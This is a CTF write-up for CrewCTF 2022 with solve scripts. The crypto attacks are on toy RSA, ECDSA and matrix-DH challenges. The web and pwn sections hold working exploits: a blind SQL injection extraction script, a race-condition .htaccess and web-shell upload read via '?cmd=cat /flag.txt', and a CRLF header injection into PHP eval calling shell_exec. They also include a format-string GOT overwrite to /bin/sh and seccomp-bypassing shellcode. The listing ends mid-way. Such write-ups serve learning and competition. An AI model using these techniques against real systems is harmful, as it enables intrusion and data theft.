CrewCTF 2022 Writeup
Mon Apr 18 2022
I participated CrewCTF 2022 by myself. The results were 24th/758.
Here are my write-ups for challs I solved.
crypto
matdlp
6 solves
problem.sageFLAG = open('flag.txt', 'r').read().encode() p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7 m = 6 import random from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util import Padding K = GF(p) matspace = MatrixSpace(K, m) while(True): U = matspace.random_element() if U.determinant() != 0: break print('U={}'.format(U.list())) while(True): l1, l2, l3 = K.random_element(), K.random_element(), K.random_element() X = matrix(K, m, m, [l1,0,0,0,0,0]+[0,l2,1,0,0,0]+[0,0,l2,0,0,0]+[0,0,0,l3,1,0]+[0,0,0,0,l3,1]+[0,0,0,0,0,l3]) if U*X != X*U: break print('X={}'.format(X.list())) def genkey(): t = random.randint(1, p-1) s = random.randint(1, p-1) Us = U**s privkey = (t, s) pubkey = Us * (X**t) * Us.inverse() return (privkey, pubkey) alicekey = genkey() bobkey = genkey() print('alice_pubkey={}'.format(alicekey[1].list())) print('bob_pubkey={}'.format(bobkey[1].list())) alice_Us = (U**alicekey[0][1]) bob_Us = (U**bobkey[0][1]) sharedkey_a = alice_Us * (bobkey[1]**alicekey[0][0]) * alice_Us.inverse() sharedkey_b = bob_Us * (alicekey[1]**bobkey[0][0]) * bob_Us.inverse() assert sharedkey_a == sharedkey_b aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest() cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16) ciphertext = cipher.encrypt(Padding.pad(FLAG, 16)) print('ciphertext=0x{}'.format(ciphertext.hex()))
This is a challenge related to DH using matrices. We are given two base matrices and two public keys (let alice_pubkey
, bob_pubkey
be ). You should find private keys , or , to calculate sharedkey
. It seems like a conjugacy search problem.
I took two steps below to find sharedkey
.
- find
- find
find The eigenvalues of equal to the eigenvalues of to the power . On top of that, the eigenvalues of and are the same in general. Due to the properties above, the eigenvalues of equal to the eigenvalues of to the power . Therefore we can find by solving DLP, because is a smooth number.
order0 = X[0, 0].multiplicative_order() order1 = X[1, 1].multiplicative_order() order2 = X[3, 3].multiplicative_order() def find_t(pubkey): eigenvalues = pubkey.eigenvalues() tmp0 = eigenvalues[0].log(X[0, 0]) tmp1 = eigenvalues[1].log(X[1, 1]) tmp2 = eigenvalues[3].log(X[3, 3]) t = crt([tmp0, tmp1, tmp2], [order0, order1, order2]) return t ta = find_t(alice_pubkey) tb = find_t(bob_pubkey)
find I tried first to solve directly. I defined and solve . But it failed possibly because lacks information that it is to the power .
To embed this information, I checked the characteristic polynomial of .
sage: factor(U.charpoly()) (x + 272156912070708902725843677542819583556667619603268850202634108624245601311771692742378899858810772332787126040705365519917638656618482092552423506234554591846471594622748509200598843905671422) * (x^5 + 155371083189422565269288233359448399667840697703600886722606579238132932391518274203205223547451492080432165522309976517064390115465996469027219303477376469238251468826608291798316822543456162*x^4 + 446753382480846116612393146760884954896121765071456225770279819858746245688380960364705867209066907602521303662237029022257593644622408423829343861316929069374186865583338945701913341346187234*x^3 + 76369017873880886583744573636703029579949354962100059238617674762095486442512233112266228068686561188798118781108370753062614496741029381039776887096361492171340174931842015041750530633077923*x^2 + 169838414808650870217114129164492603681348790521284629393131915612694041945967484393014350465542284542747172527757447691072675392371501332304797080004149690284049125468289443535532256793387693*x + 195293538849425528366183244789502263062210742639752849745671804494941444950329646833491144197025980136293117724127586794827053060018161405989795240061361737882403777125590806024627122823324175)
This implies that can be transformed to a matrix below by a certain :
g = factor(U.charpoly())[0][0] e = -g[0] x = (U - e).right_kernel_matrix()[0] assert U * x == e * x P = matrix(GF(p), [x, [0, 1, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 1]]).transpose() assert (U * P[:, 0]).T.list() == (e * x).list() assert (~P)[0, 0] == x[0]**-1 for i in range(1, 6): assert (~P)[i, 0] == -x[i] * x[0]**-1 J = ~P * U * P for i in range(1, 6): assert J[i, 0] == 0
So I could modify into . Then I found by linear algebra and .
from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes def to_list(x): mat = [] for i in range(x.nrows()): row = [] for j in range(x.ncols()): row.append(x[i, j]) mat.append(row) return mat def matmul(x, y): mat = [] assert len(x[0]) == len(y) K = len(x[0]) for i in range(len(x)): row = [] for j in range(len(y[0])): res = 0 for k in range(K): res += x[i][k] * y[k][j] row.append(res) mat.append(row) return mat PR = PolynomialRing(GF(p), names=[f"a{i}" for i in range(31)]) a_list = list(PR.gens()) Js = [ a_list[:6], [0] + a_list[6:11], [0] + a_list[11:16], [0] + a_list[16:21], [0] + a_list[21:26], [0] + a_list[26:31], ] # ~P * pubkey * P * Js == Js * ~P * X**t * P lhs = matmul(to_list(~P * alice_pubkey * P), Js) rhs = matmul(Js, to_list(~P * X**ta * P)) polys = [] for i in range(6): for j in range(6): polys.append(lhs[i][j] - rhs[i][j]) I = Ideal(polys) G = I.groebner_basis() a_list = [] for i in range(len(G)): g = G[i] c = g.coefficients()[1] a_list.append(-c % p) a_list.append(1) Js = matrix(GF(p), [ a_list[:6], [0] + a_list[6:11], [0] + a_list[11:16], [0] + a_list[16:21], [0] + a_list[21:26], [0] + a_list[26:31], ]) assert J * ~P * X**ta * P * ~J == ~P * alice_pubkey * P Usa = P * J * ~P sharedkey_a = Usa * bob_pubkey ** ta * ~Usa aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest() cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16) print(cipher.decrypt(long_to_bytes(ciphertext)))
crew{dl_pr0bl3m_0n_f1n173_f13ld_15_3553n714l_70_4n07h3r_w0rld}
signsystem
8 solves
server.pyimport sys import random from hashlib import sha256 from Crypto.Util.number import inverse import ecdsa from secret import FLAG curve = ecdsa.curves.SECP112r1 p = int(curve.curve.p()) G = curve.generator n = int(curve.order) class SignSystem: def __init__(self): self.key = ecdsa.SigningKey.generate(curve=curve) self.nonce = [random.randint(1, n-1) for _ in range(112)] def sign(self, msg): e = int.from_bytes(sha256(msg).digest(), 'big') % n h = bin(e)[2:].zfill(112) k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n r = int((k * G).x()) % n s = inverse(k, n) * (e + r * self.key.privkey.secret_multiplier) % n return (int(r), int(s)) def verify(self, msg, sig): (r, s) = sig e = int.from_bytes(sha256(msg).digest(), 'big') if s == 0: return False w = inverse(s, n) u1 = e*w % n u2 = r*w % n x1 = int((u1*G + u2*self.key.privkey.public_key.point).x()) % n return (r % n) == x1 if __name__ == '__main__': HDR = 'Welcome to sign system.' print(HDR) MENU = "1:sign\n2:verify\n3:getflag\n" S = SignSystem() try: while(True): print('') print(MENU) i = int(input('>> ')) if i == 1: msghex = input('msg(hex): ') sig = S.sign(bytes.fromhex(msghex)) print(f'signature: ({hex(sig[0])}, {hex(sig[1])})') elif i == 2: msghex = input('msg(hex): ') sig0hex = input('sig[0](hex): ') sig1hex = input('sig[1](hex): ') result = S.verify(bytes.fromhex(msghex), (int(sig0hex, 16), int(sig1hex, 16))) if result: print('Verification success.') else: print('Verification failed.') elif i == 3: target = random.randint(2**511, 2**512-1) print(f'target: {hex(target)}') sig0hex = input('sig[0](hex): ') sig1hex = input('sig[1](hex): ') result = S.verify(bytes.fromhex(hex(target)[2:]), (int(sig0hex, 16), int(sig1hex, 16))) if result: print('OK, give you a flag.') print(FLAG.decode()) break else: print('NG.') break except KeyboardInterrupt: print('bye') sys.exit(0) except: print('error occured') sys.exit(-1)
This is a challenge related to ECDSA. (I first tried since it doesn't check . But it failed.)
Let SignSystem.nonce
be , i-th signature be and i-th message hash be . We can describe . Then . Since we know , we can find by linear algebra if we get more than or equal to 113 independent equations.
solve.sageimport random import re from hashlib import sha256 from Crypto.Util.number import inverse, long_to_bytes from tqdm import tqdm from pwn import remote a = 4451685225093714772084598273548424 b = 2061118396808653202902996166388514 p = 4451685225093714772084598273548427 EC = EllipticCurve(GF(p), [a, b]) G = EC(188281465057972534892223778713752, 3419875491033170827167861896082688) n = int(4451685225093714776491891542548933) class SignSystem: def __init__(self): self.d = random.randint(1, n-1) self.nonce = [random.randint(1, n-1) for _ in range(112)] def sign(self, msg): e = int.from_bytes(sha256(msg).digest(), 'big') % n h = bin(e)[2:].zfill(112) k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n r = int((int(k) * G).xy()[0]) % n s = inverse(k, n) * (e + r * self.d) % n return (int(r), int(s)) def verify(self, msg, sig): (r, s) = sig e = int.from_bytes(sha256(msg).digest(), 'big') if s == 0: return False w = inverse(s, n) u1 = e*w % n u2 = r*w % n x1 = int((u1*G + u2*self.d*G).xy()[0]) % n return (r % n) == x1 io = remote("signsystem.crewctf-2022.crewc.tf", 1337) def sign(msg): io.sendlineafter(b">> ", b"1") io.sendlineafter(b"msg(hex): ", msg.hex()) ret = io.recvline().strip().decode() r, s = map(lambda x: int(x, 16), re.findall(r"signature: \((.*), (.*)\)", ret)[0]) return r, s e_list = [] h_list = [] r_list = [] s_list = [] for i in tqdm(range(113)): msg = long_to_bytes(i) e = int.from_bytes(sha256(msg).digest(), 'big') % n h = bin(e)[2:].zfill(112) r, s = sign(msg) e_list.append(e) h_list.append(h) r_list.append(r) s_list.append(s) mat = matrix(GF(n), 113, 113) target = vector(GF(n), 113) for i in range(113): e = e_list[i] s = s_list[i] r = r_list[i] for j in range(112): mat[i, j] = int(h_list[i][j]) mat[i, 112] = -pow(s, -1, n) * r target[i] = pow(s, -1, n) * e res = mat.solve_right(target) S = SignSystem() S.d = res.change_ring(ZZ).list()[-1] S.nonce = res.change_ring(ZZ).list()[:112] io.sendlineafter(b">> ", b"3") io.recvuntil(b"target: ") target = long_to_bytes(int(io.recvline().strip().decode(), 16)) r, s = S.sign(target) io.sendlineafter(b"sig[0](hex): ", long_to_bytes(r).hex()) io.sendlineafter(b"sig[1](hex): ", long_to_bytes(s).hex()) print(io.recvline()) print(io.recvline()) io.close()
crew{w3_533_7h3_p0w3r_0f_l1n34r_4l63br4}
delta
15 solves
problem.pyfrom Crypto.Util.number import bytes_to_long, getRandomNBitInteger from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Hash import SHA256 from flag import FLAG key = RSA.generate(1024) p = key.p q = key.q n = key.n if p > q: p, q = q, p e = key.e cipher = PKCS1_OAEP.new(key=key,hashAlgo=SHA256) c = bytes_to_long(cipher.encrypt(FLAG)) delta = getRandomNBitInteger(64) x = p**2 + 1337*p + delta val = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) % n print('n=' + str(n)) print('e=' + str(e)) print('c=' + str(c)) print('val=' + str(val))
Considering instead of , you can find that val
is a cubic equation with regard to delta
. Since delta
is small enough, it can be calculated by Coppersmith's method.
After delta
is found, val
can be described as a sixth degree equation with regard to . Since val
equals to in , the constant term of val
should be a multiple of . Therefore you can find by calculating gcd of the constant and .
solve.sagefrom Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Hash import SHA256 from Crypto.Util.number import long_to_bytes n = 141100651008173851466795684636324450409238358207191893767666902216680426313633075955718286598033724188672134934209410772467615432454991738608692590241240654619365943145665145916032591750673763981269787196318669195238077058469850912415480579793270889088523790675069338510272116812307715222344411968301691946663 e = 65537 c = 115338511096061035992329313881822354869992148130629298132719900320552359391836743522134946102137278033487970965960461840661238010620813848214266530927446505441293867364660302604331637965426760460831021145457230401267539479461666597608930411947331682395413228540621732951917884251567852835625413715394414182100 val = 55719322748654060909881801139095138877488925481861026479419112168355471570782990525463281061887475459280827193232049926790759656662867804019857629447612576114575389970078881483945542193937293462467848252776917878957280026606366201486237691429546733291217905881521367369936019292373732925986239707922361248585 PR.<delta> = PolynomialRing(Zmod(n)) f = (pow(2,e,n)*(delta**3) + pow(3,e,n)*(delta**2) + pow(5,e,n)*delta + pow(7,e,n)) - val f = f.monic() delta = f.small_roots(beta=0.49, delta=1/3, epsilon=0.015)[0] PR.<p> = PolynomialRing(Zmod(n)) x = p**2 + 1337*p + delta f = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) - val p = int(gcd(f[0], n)) assert n % p == 0 q = n // p e = 0x10001 phi = (p - 1) * (q - 1) d = int(pow(e, -1, phi)) rsa = RSA.construct((int(n), int(e), d)) cipher = PKCS1_OAEP.new(key=rsa, hashAlgo=SHA256) cipher.decrypt(long_to_bytes(int(c)))
crew{m0dp_3qu4710n_l34d5_u5_f4c70r1n6}
toydl
36 solves
We are given some pairs of such that . If we can find factors of , we get a flag.
I paid attention to and . This means that . Then .
solve.pyfrom Crypto.Util.number import long_to_bytes n = 9099069576005010864322131238316022841221043338895736227456302636550336776171968946298044005765927235002236358603510713249831486899034262930368203212096032559091664507617383780759417104649503558521835589329751163691461155254201486010636703570864285313772976190442467858988008292898546327400223671343777884080302269 c = 7721448675656271306770207905447278771344900690929609366254539633666634639656550740458154588923683190330091584419635454991419701119568903552077272516472473602367188377791329158090763546083264422552335660922148840678536264063681459356778292303287448582918945582522946194737497041408425657842265913159282583371732459 """ pow(2, x, n) = 3 x->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194 pow(2, x, n) = 9 x->3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390 """ phi = 2 * 4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194 - 3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390 assert phi < n e = 65537 d = int(pow(e, -1, phi)) long_to_bytes(int(pow(c, d, n)))
crew{d15cr373_l06_15_r3duc710n_f0r_f4c70r1n6}
Malleable Metal
57 solves
chal.sagefrom Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long import random import binascii from secret import flag e = 3 BITSIZE = 8192 key = RSA.generate(BITSIZE) n = key.n flag = bytes_to_long(flag) m = floor(BITSIZE/(e*e)) - 400 assert (m < BITSIZE - len(bin(flag)[2:])) r1 = random.randint(1,pow(2,m)) r2 = random.randint(r1,pow(2,m)) msg1 = pow(2,m)*flag + r1 msg2 = pow(2,m)*flag + r2 C1 = Integer(pow(msg1,e,n)) C2 = Integer(pow(msg2,e,n)) print(f'{n = }\n{C1 = }\n{C2 = }')
Since msg1
and msg2
is almost the same, you can decrypt it by Coppersmith’s Short Pad Attack and Franklin-Reiter Related Message Attack.
The script refers to here.
solve.sagefrom Crypto.Util.number import bytes_to_long, long_to_bytes e = 3 BITSIZE = 8192 m = floor(BITSIZE/(e*e)) - 400 def short_pad_attack(c1, c2, e, n): PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = n.nbits()//(2*e*e) diff = h.small_roots(X=2^m, beta=0.5)[0] return diff def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] diff = short_pad_attack(C1, C2, e, n) m1 = related_message_attack(C1, C2, diff, e, n) long_to_bytes(int(int(m1) // 2**m))
crew{l00ks_l1k3_y0u_h4v3_you_He4rd_0f_c0pp3rsm1th_sh0r+_p4d_4tt4ck_th4t_w45n't_d1ff1cult_w4s_it?}
The HUGE e
63 solves
chall.pyfrom Crypto.Util.number import getPrime, bytes_to_long, inverse, isPrime from secret import flag m = bytes_to_long(flag) def getSpecialPrime(): a = 2 for i in range(40): a*=getPrime(20) while True: b = getPrime(20) if isPrime(a*b+1): return a*b+1 p = getSpecialPrime() e1 = getPrime(128) e2 = getPrime(128) e3 = getPrime(128) e = pow(e1,pow(e2,e3)) c = pow(m,e,p) assert pow(c,inverse(e,p-1),p) == m print(f'p = {p}') print(f'e1 = {e1}') print(f'e2 = {e2}') print(f'e3 = {e3}') print(f'c = {c}')
Since is prime, pow(e1, ...)
is calculated in . Then pow(e2, e3)
should be calculated in . is very smooth and we can calculate easily.
solve.sagefrom Crypto.Util.number import long_to_bytes p = 127557933868274766492781168166651795645253551106939814103375361345423596703884421796150924794852741931334746816404778765897684777811408386179315837751682393250322682273488477810275794941270780027115435485813413822503016999058941190903932883823 e1 = 219560036291700924162367491740680392841 e2 = 325829142086458078752836113369745585569 e3 = 237262361171684477270779152881433264701 c = 962976093858853504877937799237367527464560456536071770645193845048591657714868645727169308285896910567283470660044952959089092802768837038911347652160892917850466319249036343642773207046774240176141525105555149800395040339351956120433647613 phi = 1 for pi, e in factor(p - 1): assert e == 1 phi *= pi - 1 e2_e3 = Integer(pow(e2, e3, phi)) e = int(pow(e1, e2_e3, p - 1)) d = int(pow(e, -1, p - 1)) m = int(pow(c, d, p)) long_to_bytes(m)
crew{7hi5_1s_4_5ma11er_numb3r_7han_7h3_Gr4ham_numb3r}
ez-x0r
249 solves
Since we know the prefix of the flag, crew
. xor(enc, "crew")
is ffff
, which implies that the flag is encrypted by xor-ing ffff...
.
solve.pyfrom base64 import b64decode from pwn import xor enc = b"BRQDER1VHDkeVhQ5BRQfFhIJGw==" xor(b64decode(enc), b"f")
web
Marvel Pick & Marvel Pick Again
31 solves
First I suspected that this challenge is related to NoSQL injection. So I tried some payloads like /api.php?character[$regex]=*
, but it didn't work at all.
After that I luckily found that /api.php?character='
broke something. This is a SQL injection challenge (I should have realized this ealier).
After some experiments, I found something below:
- some symbol characters are erased
/api.php?character=a' UNION SELECT 1,'1
returns 1- it returns the number of records
/api.php?character=a' UNION SELECT null,sql FROM sqlite_master WHERE name LIKE 'YOUR_INPUT%
- DB is sqlite
- there are two tables, character and flags
/api.php?character=a' UNION SELECT null,name FROM pragma_table_info('flags') WHERE name LIKE 'YOUR_INPUT%
- there are some columns, id and value
/api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,YOUR_INPUT,1) > 'YOUR_INPUT
- this reveals flag characters one by one
Here is a script to get the flag.
solve.pyimport json import requests url_template = "http://34.126.83.114:3390/api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,{idx},1) > '{c}" flag = "crew" for idx in range(len(flag), 100): for i in range(33, 128): c = chr(i) if c in " '#*&%-/;=": continue print(idx, c) tmp_url = url_template.format(c=c, idx=idx+1) r = requests.get(tmp_url) count = json.loads(r.text)["data"]["vote_count"] print(c, count) if count == 0: break flag += chr(i) print(flag)
This works for two challenges. But I missed the second flag because I didn't realized the second challenge had been added and it was too late when I realized😢
crew{so_its_n0t_on3_line_for_exp}
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}
Uploadz
41 solves
index.php<?php function create_temp_file($temp,$name){ $file_temp = "storage/app/temp/".$name; copy($temp,$file_temp); return $file_temp; } function gen_uuid($length=6) { $keys = array_merge(range('a', 'z'), range('A', 'Z')); for($i=0; $i < $length; $i++) { $key .= $keys[array_rand($keys)]; } return $key; } function move_upload($source,$des){ $name = gen_uuid(); $des = "storage/app/uploads/".$name.$des; copy($source,$des); sleep(1);// for loadblance and anti brute unlink($source); return $des; } if (isset($_FILES['uploadedFile'])) { // get details of the uploaded file $fileTmpPath = $_FILES['uploadedFile']['tmp_name']; $fileName = basename($_FILES['uploadedFile']['name']); $fileNameCmps = explode(".", $fileName); $fileExtension = strtolower(end($fileNameCmps)); $dest_path = $uploadFileDir . $newFileName; $file_temp = create_temp_file($fileTmpPath, $fileName); echo "your file in ".move_upload($file_temp,$fileName); } if(isset($_GET["clear_cache"])){ system("rm -r storage/app/uploads/*"); } ?> <form action="/" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="uploadedFile" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form>
The flag is at /flag.txt
At first I suspected directory traversal. But it seemed difficult because they used basename
.
Next I tried uploading php file and execute it, but it didn't work because of the configuration of .htaccess
.
After some googling, I found that .htaccess
can be put in each directory. It enables us to execute php.
In this challenge, uploaded files are put into "storage/app/uploads/".$name.$des
, where $name
is random characters. It seems impossible to put .htaccess
from a quick glance.
But the files are temporaliry put into "storage/app/temp/".$name
(1 second), where $name
is uploaded file name. This means that we can put .htaccess
at storage/app/temp/
.
I used .htaccess
and a.shell
from this writeup and accessed to /storage/app/temp/a.shell?cmd=cat /flag.txt
.
run.bash#/bin/bash python3 upload_htaccess.py & python3 upload_shell.py & for i in $(seq 1 10); do python3 exec.py & done
upload_htaccess.pyimport requests url = "https://uploadz-web.crewctf-2022.crewc.tf/" fp = open(".htaccess", "rb") files = {"uploadedFile": fp} r = requests.post(url, files=files) print(r.text) fp.close()
upload_shell.pyimport requests url = "https://uploadz-web.crewctf-2022.crewc.tf/" fp = open("a.shell", "rb") files = {"uploadedFile": fp} r = requests.post(url, files=files) print(r.text) fp.close()
exec.pyimport requests url = "https://uploadz-web.crewctf-2022.crewc.tf" r = requests.get(url + "/storage/app/temp/a.shell?cmd=cat /flag.txt") print(r.text)
crewctf{upload_rce_via_race}
CuaaS
90 solves
index.php<html> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <title>CuaaS</title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <style type="text/css"> html, body, .container { height: 100%; } .container { display: table; vertical-align: middle; } .vertical-center-row { display: table-cell; vertical-align: middle; } </style> </head> <body> <center> <div class="container"> <div class="vertical-center-row"> <h1>Clean url as a Service</h1> <form method="post"> <label class="sr-only" for="inlineFormInputGroupUsername2">Link</label> <div class="input-group mb-2 mr-sm-2 col-sm-5"> <div class="input-group-prepend"> <div class="input-group-text">URL</div> </div> <input type="text" class="form-control " id="inlineFormInputGroupUsername2" name="url" placeholder="https://www.example.tld/cleanmepls?name=joe&age=13&address=very-very-very-long-string"> </div> <div class="col-auto"> <button type="submit" class="btn btn-primary mb-2">Clean</button> </div> <?php if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url'])) { clean_and_send($_POST['url']); } function clean_and_send($url){ $uncleanedURL = $url; // should be not used anymore $values = parse_url($url); $host = explode('/',$values['host']); $query = $host[0]; $data = array('host'=>$query); $cleanerurl = "http://127.0.0.1/cleaner.php"; $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [ 'method' => 'POST', 'header' => "X-Original-URL: $uncleanedURL", 'content' => http_build_query($data) ] ])); echo $stream; } ?> </form> </div> </div> </center> </body> </html>
cleaner.php<?php if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ die("<img src='https://imgur.com/x7BCUsr.png'>"); } echo "<br>There your cleaned url: ".$_POST['host']; echo "<br>Thank you For Using our Service!"; function tryandeval($value){ echo "<br>How many you visited us "; eval($value); } foreach (getallheaders() as $name => $value) { if ($name == "X-Visited-Before"){ tryandeval($value); }} ?>
In cleaner.php
, we can call any eval
if we set header X-Visited-Before
.
php manual says we can set multiple headers by separating them with new lines in stream_context_create
.
I post url=http://localhost%0D%0AX-Visited-Before:echo shell_exec("ls -l /");
and found /maybethisistheflag
. Then I post url=http://localhost%0D%0AX-Visited-Before:var_dump(file_get_contents("/maybethisistheflag"));
and got the flag.
crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}
pwn
Ubume
60 solves
checksec
result:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Ghidra decompiler result:
void main(void) { long in_FS_OFFSET; char local_228 [536]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); ignore_me(); puts("Haven\'t we met before?"); read(0,local_228,0x200); printf(local_228); /* WARNING: Subroutine does not return */ exit(0); } void win(void) { puts("I Knew it. We\'ve met before."); system("/bin/sh"); return; }
There is win
function to execute /bin/sh
.
This is a simple challenge related to format string attack.
solve.pyfrom pwn import * elf = ELF("./chall") io = remote("ubume.crewctf-2022.crewc.tf", 1337) addr_win = 0x40070a def make_payload(address): payload = b"" # __libc_start_main ret addr から libc address の leak payload += b"%75$016lx" # rsp は6番目 (なぜなら rsi, rdx, rcx, r8, r9, rsp だから) で、 rbp+0x8 は 75番目 n = 16 # 最初 __libc_start_main の return address の表示に16文字消費 print("target address", hex(address)) # buf+0x80 に書き込むアドレスを置くことにする # これは22番目に対応 for i in range(8): t = ((address % 0x100) - n) % 256 if t == 0: t += 256 # t = (address % 0x100) - n % 256 # if t <= 1: # t += 256 payload += f"%{t}c%{22+i}$hhn".encode() address //= 256 n += t assert 0x80 - len(payload) >= 0 payload += b"A" * (0x80 - len(payload)) addr_got_exit = elf.got["exit"] for i in range(8): payload += p64(addr_got_exit + i) print(payload) return payload payload = make_payload(addr_win) io.recvline() io.send(payload) io.interactive()
crew{format_string_aattack_f0r_0verr1ding_GOT_!!!}
Wiznu
69 solves
checksec
result:
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
Ghidra decompiler result:
undefined8 main(EVP_PKEY_CTX *param_1) { undefined local_108 [256]; ignore_me(); init(param_1); printf("Special Gift for Special Person : %p\n",local_108); printf("> "); read(0,local_108,0x120); return 0; } int init(EVP_PKEY_CTX *ctx) { int iVar1; undefined8 uVar2; uVar2 = seccomp_init(0); seccomp_rule_add(uVar2,0x7fff0000,2,0); seccomp_rule_add(uVar2,0x7fff0000,0,0); seccomp_rule_add(uVar2,0x7fff0000,1,0); iVar1 = seccomp_load(uVar2); return iVar1; }
Since the binary is NX disabled, there is a BOF vuln and we know the stack address, we can write shellcode and jump to it by writing stack address to return address. But seccomp
in init
only allows read
, write
and open
. Therefore I called fp = open("flag")
, read(fp, $rsp, 50)
and write(1, $rsp, 50)
in order.
solve.pyfrom pwn import * elf = ELF("./chall") context.binary = elf io = remote("wiznu.crewctf-2022.crewc.tf", 1337) io.recvuntil(b"Special Gift for Special Person : ") addr_stack = int(io.recvline().strip().decode(), 16) print(f"{addr_stack = :#x}") shellcode = asm(shellcraft.open("flag")) shellcode += asm(shellcraft.read("rax", "rsp", 50)) shellcode += asm(shellcraft.write(1, "rsp", 50)) payload = shellcode.ljust(256+8, b"A") + p64(addr_stack) print(payload) io.sendlineafter(b"> ", payload) io.interactive()
crew{ORW_come_to_the_rescue_st4rn_h3r3!}
forensics
Corrupted
191 solves
Many A
s are embedded at the begining and end of Corrupted.001
. I removed them by hand.
After that, file header worked correctly.
$ file Corrupted.001.fix Corrupted.001.fix: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 81836032, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 102399, $MFT start cluster 4266, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 058fe49e9fe49c04c; contains bootstrap BOOTMGR
$ fls -r Corrupted.001.fix r/r 4-128-1: $AttrDef r/r 8-128-2: $BadClus r/r 8-128-1: $BadClus:$Bad r/r 6-128-4: $Bitmap r/r 7-128-1: $Boot d/d 11-144-4: $Extend + d/d 29-144-2: $Deleted + r/r 25-144-2: $ObjId:$O + r/r 24-144-3: $Quota:$O + r/r 24-144-2: $Quota:$Q + r/r 26-144-2: $Reparse:$R + d/d 27-144-2: $RmMetadata ++ r/r 28-128-4: $Repair ++ r/r 28-128-2: $Repair:$Config ++ d/d 31-144-2: $Txf ++ d/d 30-144-2: $TxfLog +++ r/r 32-128-2: $Tops +++ r/r 32-128-4: $Tops:$T +++ r/r 33-128-1: $TxfLog.blf +++ r/r 34-128-1: $TxfLogContainer00000000000000000001 +++ r/r 35-128-1: $TxfLogContainer00000000000000000002 r/r 2-128-1: $LogFile r/r 0-128-6: $MFT r/r 1-128-1: $MFTMirr d/d 51-144-1: $RECYCLE.BIN + d/d 52-144-1: S-1-5-21-523540568-1582187581-798654756-1000 ++ r/r 53-128-1: desktop.ini r/r 9-128-8: $Secure:$SDS r/r 9-144-11: $Secure:$SDH r/r 9-144-14: $Secure:$SII r/r 10-128-1: $UpCase r/r 10-128-4: $UpCase:$Info r/r 3-128-3: $Volume r/r 49-128-1: 0xSh3rl0ck.jpeg d/d 39-144-5: pictures + r/r 40-128-1: Capture (1).PNG + r/r 41-128-1: Screenshot (1).png + r/r 42-128-1: Screenshot (12).png + r/r 43-128-1: Screenshot (13).png + r/r 44-128-1: Screenshot (14).png + r/r 